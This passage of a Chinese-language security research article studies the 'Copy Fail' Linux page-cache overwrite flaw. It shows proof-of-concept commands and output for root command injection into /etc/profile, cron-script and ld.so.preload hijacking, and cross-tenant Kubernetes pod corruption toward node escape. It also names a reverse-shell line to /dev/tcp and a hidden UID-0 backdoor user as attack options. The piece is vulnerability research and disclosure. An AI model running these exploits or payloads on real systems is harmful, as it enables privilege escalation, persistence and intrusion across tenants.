leaf=""><br/></span><span leaf="">gcc -o monitor exp_shared_lib_monitor.c -ldl</span><span leaf=""><br/></span><span leaf="">./monitor &amp;</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] PID=161045</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] initial: <span class="code-snippet__string">&#34;/etc/hosts&#34;</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] tick 1: no change</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] tick 2: no change</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">Step 2: 篡改 .so 的 page cache (另一终端)</span><span leaf=""><br/></span><span leaf="">python3 exp_shared_lib.py</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] SUCCESS: <span class="code-snippet__string">&#39;/etc/hosts&#39;</span> → <span class="code-snippet__string">&#39;/etc/h0sts&#39;</span> <span class="code-snippet__keyword">in</span> page cache</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">Step 3: 监控进程无需重启即检测到变化</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] tick 3: *** STRING CHANGED ***</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] now: <span class="code-snippet__string">&#34;/etc/h0sts&#34;</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[monitor] *** LIVE-PATCH CONFIRMED (no restart) ***</span></code></pre></p><p><span mpa-font-style="mp0kvm4v1r85" style="font-size: 15px;"><span leaf="">关键证据：监控进程 PID=161045 从启动到结束</span><strong><span leaf="">从未重启</span></strong><span leaf="">。它在 tick 1-2 读到原始值，PoC 执行后在 tick 3</span><strong><span leaf="">立即</span></strong><span leaf="">看到修改。</span></span></p><p><span mpa-font-style="mp0kvm4vrc8" style="font-size: 15px;"><span leaf="">CentOS 8 上有 20+ 系统守护进程（sshd、crond、dockerd、dbus-daemon 等）持有</span><code><span leaf="">libnss_files.so</span></code><span leaf="">的 mmap 引用，</span><code><span leaf="">drop_caches</span></code><span leaf="">无法驱逐——修改在系统运行期间半永久存在，恢复需要</span><code><span leaf="">yum reinstall glibc-common</span></code><span leaf="">。</span></span></p><blockquote><p><strong mpa-font-style="mp0kvm4v1d16" style="font-size: 15px;"><span leaf="">风险</span></strong><span leaf=""><br/></span><span mpa-font-style="mp0kvm4v4y6" style="font-size: 15px;"><span leaf="">修改核心系统库（如</span><code><span leaf="">libc.so</span></code><span leaf="">）的代码段虽然理论上可实现任意代码执行（所有调用目标函数的 root daemon 立即受影响），但存在极高的系统崩溃风险。上述实验仅修改了</span><code><span leaf="">.rodata</span></code><span leaf="">段中的字符串作为安全验证。</span></span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v13yp" style="font-size: 15px;"><span leaf="">5.4 /etc/profile 命令注入</span></span></h3><p><span mpa-font-style="mp0kvm4vg17" style="font-size: 15px;"><code><span leaf="">/etc/profile</span></code><span leaf="">在所有 Linux 发行版上均为 0644 且被每个登录 shell 自动 source（SSH 登录、</span><code><span leaf="">su -</span></code><span leaf="">、控制台登录）。</span></span></p><p><span mpa-font-style="mp0kvm4v26k" style="font-size: 15px;"><span leaf="">原理：利用注释行中的</span><code><span leaf="">#</span></code><span leaf="">作为掩护——覆盖注释文本为命令，原始文本被</span><code><span leaf="">#</span></code><span leaf="">注释掉，不影响文件其余功能：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vh66"><span leaf=""># </span><span leaf="">原始: <span class="code-snippet__comment"># It&#39;s NOT a good idea to change this file unless you know what you</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">注入: <span class="code-snippet__built_in">id</span>&gt;&gt;/tmp/CF-PWNED  <span class="code-snippet__comment">#ea to change this file unless you know what you</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">      ↑ 命令部分            ↑ <span class="code-snippet__string">&#39;#&#39;</span> 注释掉剩余文本, 不影响后续行</span></code></pre></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1tcm"><span leaf="">python3 exp_profile_inject.py <span class="code-snippet__string">&#34;id&gt;&gt;/tmp/CF-PWNED  #&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Payload: 20 bytes, 5 writes</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: command injected into /etc/profile</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 触发: root 执行登录 shell</span></span><span leaf=""><br/></span><span leaf="">su - root -c <span class="code-snippet__string">&#34;echo triggered&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">cat</span> /tmp/CF-PWNED</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># uid=0(root) gid=0(root) groups=0(root) ✅</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v20wf" style="font-size: 15px;"><span leaf="">仅 5 次写入（20 字节）即可完成注入。通用性极强——所有发行版均有</span><code><span leaf="">/etc/profile</span></code><span leaf="">，且包含注释行。实际攻击场景中可注入反弹 shell（</span><code><span leaf="">bash -i&gt;&amp;/dev/tcp/IP/PORT 0&gt;&amp;1 #</span></code><span leaf="">）或后门用户创建命令（</span><code><span leaf="">useradd -o -u0 backdoor #</span></code><span leaf="">）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1ojx" style="font-size: 15px;"><span leaf="">5.5 计划任务脚本篡改</span></span></h3><p><span leaf="" mpa-font-style="mp0kvm4va0t" style="font-size: 15px;">Cron 定时任务和 systemd 服务引用的脚本或二进制文件（通常为 0755 世界可读），是完全被动的利用目标——攻击者篡改后只需等待 daemon 下次调度执行。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1kzo"><span leaf=""># </span><span leaf="">环境准备: cron job 每分钟执行 /tmp/copyfail-lab/cron_target.sh</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">脚本内容: <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;ORIGINAL </span></span><span leaf=""><span class="code-snippet__string">$(date +%s)</span></span><span leaf=""><span class="code-snippet__string">&#34;</span> &gt;&gt; cron.log</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">篡改脚本 page cache</span><span leaf=""><br/></span><span leaf="">python3 exp_cron_script.py /tmp/copyfail-lab/cron_target.sh</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] SUCCESS: script tampered <span class="code-snippet__keyword">in</span> page cache (<span class="code-snippet__string">&#34;ORIGINAL&#34;</span> → <span class="code-snippet__string">&#34;HIJACKED&#34;</span>)</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">下一次 cron 触发 (≤ 1 分钟):</span><span leaf=""><br/></span><span leaf="">tail /tmp/copyfail-lab/cron.log</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">HIJACKED 1778309461   ← crond 执行了被篡改的脚本 ✅</span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v14hf" style="font-size: 15px;">crond 在每次触发时重新读取脚本文件内容，天然获取 page cache 中的篡改数据。systemd 引用的服务脚本同理。</span></p><blockquote><p><strong mpa-font-style="mp0kvm4v169" style="font-size: 15px;"><span leaf="">配置文件 vs 脚本文件</span></strong><span leaf=""><br/></span><span mpa-font-style="mp0kvm4v1hme" style="font-size: 15px;"><span leaf="">直接修改 cron</span><strong><span leaf="">配置文件</span></strong><span leaf="">（</span><code><span leaf="">/etc/cron.d/</span></code><span leaf="">）或 systemd</span><strong><span leaf="">unit 文件</span></strong><span leaf="">（</span><code><span leaf="">.service</span></code><span leaf="">）的 page cache 在实验中也验证了技术可行性，但在实战中</span><strong><span leaf="">不可行</span></strong><span leaf="">：cronie 使用 inotify 检测配置变化——page cache 修改不触发 inotify，需要</span><code><span leaf="">crond</span></code><span leaf="">重启才能读取变更；systemd unit 文件的修改同样需要</span><code><span leaf="">systemctl daemon-reload</span></code><span leaf="">或服务重启才生效。低权限攻击者无法控制这些 daemon 操作。因此，可行的攻击路径仅限于篡改已有任务</span><strong><span leaf="">引用的脚本/二进制文件</span></strong><span leaf="">。</span></span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4voo1" style="font-size: 15px;"><span leaf="">5.6 /etc/ld.so.preload 路径劫持</span></span></h3><p><span mpa-font-style="mp0kvm4v14sl" style="font-size: 15px;"><code><span leaf="">/etc/ld.so.preload</span></code><span leaf="">列出的共享库被动态链接器在每个程序启动时</span><strong><span leaf="">优先加载</span></strong><span leaf="">。修改其中的库路径即可实现全局代码注入。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1ga4"><span leaf=""># </span><span leaf="">前提: 系统已有 /etc/ld.so.preload (用于性能监控等)</span><span leaf=""><br/></span><span leaf="">cat /etc/ld.so.preload</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">/tmp/copyfail-lab/libmarker.so</span><span leaf=""><br/></span><span leaf="">python3 exp_preload_hijack.py</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[+] SUCCESS: preload path hijacked</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">/tmp/copyfail-lab/libmarker.so → /tmp/copyfail-lab/libevil00.so</span><span leaf=""><br/></span><span leaf="">ls /dev/null</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">[preload] EVIL LIBRARY LOADED!   ← 恶意库被每个新进程加载</span><span leaf=""><br/></span><span leaf=""># </span><span leaf="">/dev/null</span></code></pre></p><p><span mpa-font-style="mp0kvm4v1g0c" style="font-size: 15px;"><strong><span leaf="">前提条件</span></strong><span leaf="">：目标系统必须已存在</span><code><span leaf="">/etc/ld.so.preload</span></code><span leaf="">（Copy Fail 无法创建新文件，只能修改已有文件的页缓存）。该文件默认不存在，但在使用 jemalloc 预加载、LD_PRELOAD 安全 agent、性能监控等场景中常见。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">六、容器场景深度研究</span></strong></p></div></div></div></div></div></div><p><span mpa-font-style="mp0kvm4v528" style="font-size: 15px;"><span leaf="">前面梳理了页缓存覆写在宿主机上的多条提权路径。但在容器化基础设施中，这类漏洞的威胁还要更进一步：</span><strong><span leaf="">Page Cache 是一个跨越容器隔离边界的全局共享状态</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4v528" style="font-size: 15px;"><span leaf="">漏洞披露后，多个安全团队迅速关注了容器/K8s 场景：Juliet验证了 PSS Restricted 和 RuntimeDefault 均不阻止 AF_ALG，Stream Security在生产级 EKS 集群上完成了端到端验证，Percivalll给出了通过篡改特权 DaemonSet 共享层实现 Pod→Node 逃逸的完整 PoC（已在 ACK / EKS / GKE 上验证）。本节在这些工作基础上，通过独立实验进一步验证和扩展容器场景的攻击可行性边界。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v78" style="font-size: 15px;">所有结论均在真实 Kubernetes 集群（k3sv1.32 + containerd v2.0.5，CentOS Stream 8 未修补内核 4.18.0-553）上通过实验验证。</span></p><blockquote><p style="text-align: left;"><span leaf="" mpa-font-style="mp0kvm4v1dum" style="font-size: 15px;">容器实验代码</span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp0kvm4vx9k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: normal;">本节涉及的 Pod YAML、PoC 脚本和验证工具：</span></span><span leaf=""><span textstyle="" style="letter-spacing: normal;"><a href="https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6" target="_blank">https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6</a></span></span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v18th" style="font-size: 15px;"><span leaf="">6.1 镜像层共享：Page Cache 的跨容器传播</span></span></h3><p><span mpa-font-style="mp0kvm4vd6v" style="font-size: 15px;"><span leaf="">容器运行时（containerd、Docker）使用 overlayfs 管理容器的文件系统。对于同一个 base image（如</span><code><span leaf="">python:3.11-slim</span></code><span leaf="">），其镜像层在宿主机上只存储一份。所有使用该镜像的容器，其 lower layer 指向同一组 inode。</span></span></p><p><span mpa-font-style="mp0kvm4vvfw" style="font-size: 15px;"><span leaf="">这意味着：当容器 A 通过</span><code><span leaf="">read()</span></code><span leaf="">读取</span><code><span leaf="">/usr/bin/python3</span></code><span leaf="">时，内核为该 inode 建立 page cache 条目；当容器 B 随后读取同一文件时，命中的是完全相同的 page cache 页面。</span></span></p><p><span mpa-font-style="mp0kvm4v1p6j" style="font-size: 15px;"><span leaf="">需要强调的一个前提：</span><strong><span leaf="">page cache 是内核级全局缓存，但其作用域是单机的</span></strong><span leaf="">——只有位于同一节点上的容器，才可能通过 overlayfs layer 共享指向同一组 inode，进而共享 page cache。跨节点的容器即使使用完全相同的镜像，其 page cache 也是各自独立的。这一&#34;同节点&#34;限制是后续所有跨容器攻击场景的根本前提。</span></span></p><p><span leaf=""><img data-aistatus="1" alt="Overlayfs 层共享机制" class="rich_pages wxw-img" data-ratio="0.75" data-type="webp" data-w="1448" style="max-width: 100%;" data-imgfileid="311131135" src="https://wechat2rss.xlab.app/img-proxy/?k=be39e8ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2HFiae0rGntKKQ8icColH8XRn1sva6X7U4PUTuUSgkaAicLj5edonbFJBjfmicuYg1urSEsA05cib8SD05SpNQfjAfV9Wa9OjG9dfY%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1zgf" style="font-size: 15px;"><span leaf="">实验验证：跨容器 page cache 共享</span></span></h4><p><span leaf="" mpa-font-style="mp0kvm4v1xfw" style="font-size: 15px;">部署实验环境并验证 inode 共享：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vpbm"><span leaf=""><span class="code-snippet__comment"># 部署两个使用相同 base image 的 Pod</span></span><span leaf=""><br/></span><span leaf="">kubectl create ns copyfail-lab</span><span leaf=""><br/></span><span leaf="">kubectl apply -f pod-cross-tenant.yaml    <span class="code-snippet__comment"># 见 Gist</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 验证两个 Pod 共享同一 /etc/os-release inode</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-attacker -- <span class="code-snippet__built_in">stat</span> -c <span class="code-snippet__string">&#39;%i&#39;</span> /etc/os-release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 208483846</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-victim-same -- <span class="code-snippet__built_in">stat</span> -c <span class="code-snippet__string">&#39;%i&#39;</span> /etc/os-release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 208483846    ← 相同 inode = 共享 page cache</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4vqsi" style="font-size: 15px;">在攻击者 Pod 中执行 page cache 写入：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v21r"><span leaf=""><span class="code-snippet__comment"># 攻击者 Pod 中执行 PoC</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-attacker -- python3 /poc_marker.py /etc/os-release</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Target: /etc/os-release</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Before: 50524554</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] After:  deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 受害者 Pod (同 base image) — 立即看到被篡改的内容</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-victim-same -- \</span><span leaf=""><br/></span><span leaf="">  python3 -c <span class="code-snippet__string">&#34;import os; print(os.pread(os.open(&#39;/etc/os-release&#39;,0),16,0).hex())&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># deadbeef54595f4e414d453d22446562</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] MARKER FOUND: page cache is SHARED with attacker pod!</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 对照组 (不同 base image) — 不受影响</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-victim-alpine -- <span class="code-snippet__built_in">head</span> -c 16 /etc/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: 4e41 4d45 3d22 416c 7069 6e65  NAME=&#34;Alpine</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v24db" style="font-size: 15px;">宿主机直接读取 containerd snapshot 目录中的对应文件，同样看到被篡改的数据：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1md4"><span leaf=""><span class="code-snippet__comment"># 宿主机读取 snapshot 层文件</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 /var/lib/containerd/.../snapshots/&lt;<span class="code-snippet__built_in">id</span>&gt;/fs/etc/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME=&#34;Deb</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># drop_caches 恢复</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">head</span> -c 16 /var/lib/containerd/.../snapshots/&lt;<span class="code-snippet__built_in">id</span>&gt;/fs/etc/os-release | xxd</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME=&#34;Deb</span></span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vg90" style="font-size: 15px;"><span leaf="">6.2 零特权跨租户攻击<img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></span></h3><p><span mpa-font-style="mp0kvm4v1wqk" style="font-size: 15px;"><span leaf="">基于上述共享机制，验证</span><strong><span leaf="">零特权跨租户攻击</span></strong><span leaf="">——攻击者和受害者在完全隔离的不同 namespace 中：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1hot"><span leaf=""><span class="code-snippet__comment"># 创建两个完全隔离的 namespace</span></span><span leaf=""><br/></span><span leaf="">kubectl create ns copyfail-lab      <span class="code-snippet__comment"># 攻击者</span></span><span leaf=""><br/></span><span leaf="">kubectl create ns tenant-victim     <span class="code-snippet__comment"># 受害者</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 部署 Pod (见 Gist: pod-cross-tenant.yaml)</span></span><span leaf=""><br/></span><span leaf="">kubectl apply -f pod-cross-tenant.yaml</span></code></pre></p><p><span mpa-font-style="mp0kvm4v1ldl" style="font-size: 15px;"><strong><span leaf="">前提验证 — 确认 inode 共享</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1woh"><span leaf=""><span class="code-snippet__comment"># 两个不同 namespace 的 Pod, 相同 base image → 相同 inode</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-attacker -- <span class="code-snippet__built_in">stat</span> -c <span class="code-snippet__string">&#39;%i&#39;</span> /bin/cat</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 1420102</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n tenant-victim victim-app -- <span class="code-snippet__built_in">stat</span> -c <span class="code-snippet__string">&#39;%i&#39;</span> /bin/cat</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 1420102    ← 相同! 即使在不同 namespace</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vu5l" style="font-size: 15px;"><strong><span leaf="">攻击执行</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1w92"><span leaf=""><span class="code-snippet__comment"># Step 1: 确认受害者 /bin/cat 正常</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n tenant-victim victim-app -- \</span><span leaf=""><br/></span><span leaf="">  python3 -c <span class="code-snippet__string">&#34;import os; print(os.pread(os.open(&#39;/bin/cat&#39;,0),16,0).hex())&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 7f454c46020101000000000000000000  (正常 ELF header)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 2: 攻击者执行 Copy Fail (无任何特权!)</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n copyfail-lab pod-attacker -- python3 /poc_marker.py /bin/cat</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] Before: 7f454c46</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [*] After:  deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 3: 受害者立即受到影响</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n tenant-victim victim-app -- \</span><span leaf=""><br/></span><span leaf="">  python3 -c <span class="code-snippet__string">&#34;import os; print(os.pread(os.open(&#39;/bin/cat&#39;,0),16,0).hex())&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># deadbeef020101000000000000000000</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># ↑ ELF magic 被破坏!</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 4: 受害者服务中断</span></span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n tenant-victim victim-app -- <span class="code-snippet__built_in">cat</span> /etc/hostname</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># exec /usr/bin/cat: exec format error    ← 二进制无法执行</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 5: 恢复 (宿主机执行)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">kubectl <span class="code-snippet__built_in">exec</span> -n tenant-victim victim-app -- <span class="code-snippet__built_in">cat</span> /etc/hostname</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># victim-app    ← 恢复正常</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4vcjb" style="font-size: 15px;"><strong><span leaf="">关键结论</span></strong><span leaf="">：这一攻击不需要任何特殊的 capability、hostPath 挂载或安全配置放宽。唯一的前提是内核未修补且容器中可以执行 Python（或等价的 C 程序）。两个 Pod 之间无需网络连通性、不需要知道对方的 IP 或名称。</span></span></p><p><span mpa-font-style="mp0kvm4vn13" style="font-size: 15px;"><span leaf="">上述实验中篡改的是普通用户 Pod 中的文件，影响局限于&#34;跨租户 DoS&#34;。但一个自然的问题是：</span><strong><span leaf="">能否通过同样的方式实现容器逃逸——从一个零特权 Pod 获取节点级控制？</span></strong></span></p><p><span mpa-font-style="mp0kvm4v1a4z" style="font-size: 15px;"><span leaf="">答案的关键在于攻击目标的选择。回顾 6.1 节的分析，page cache 篡改有两个前提：</span></span></p><p><span mpa-font-style="mp0kvm4v1a4z" style="font-size: 15px;"><span leaf="">① 攻击者与目标容器位于同一节点；</span></span></p><p><span mpa-font-style="mp0kvm4v1a4z" style="font-size: 15px;"><span leaf="">② 两者共享至少一个 image layer。如果目标容器以</span><code><span leaf="">privileged: true</span></code><span leaf="">运行，那么当被篡改的二进制在其中执行时，攻击者的 payload 就拥有了完整的节点权限。</span></span></p><p><span mpa-font-style="mp0kvm4vwc4" style="font-size: 15px;"><span leaf="">什么样的特权容器比较容易同时满足&#34;特权&#34;和&#34;同节点&#34;两个条件？</span><strong><span leaf="">DaemonSet</span></strong><span leaf="">是一个天然的候选。DaemonSet 的定义就是在集群每个节点上各运行一个 Pod 副本——无论受陷 Pod 被调度到哪个节点，该节点上必然存在 DaemonSet 实例。而 Kubernetes 集群中恰好有不少以</span><code><span leaf="">privileged: true</span></code><span leaf="">运行的系统级 DaemonSet（如 kube-proxy、CNI 插件、日志收集器等），它们同时满足两项条件。</span></span></p><p><span mpa-font-style="mp0kvm4v16ls" style="font-size: 15px;"><span leaf="">我猜测Percivalll也是基于类似的逻辑选择了 kube-proxy 作为攻击目标。kube-proxy 在主流云厂商的托管集群（Alibaba Cloud ACK、Amazon EKS、Google GKE）中均以</span><code><span leaf="">privileged: true</span></code><span leaf="">DaemonSet 运行，满足上述所有条件。其 PoC 通过篡改 kube-proxy 容器中</span><code><span leaf="">ipset</span></code><span leaf="">二进制的 page cache，在 kube-proxy 下次调用该工具时实现节点代码执行（已在三大云平台验证）。为简化验证流程，PoC 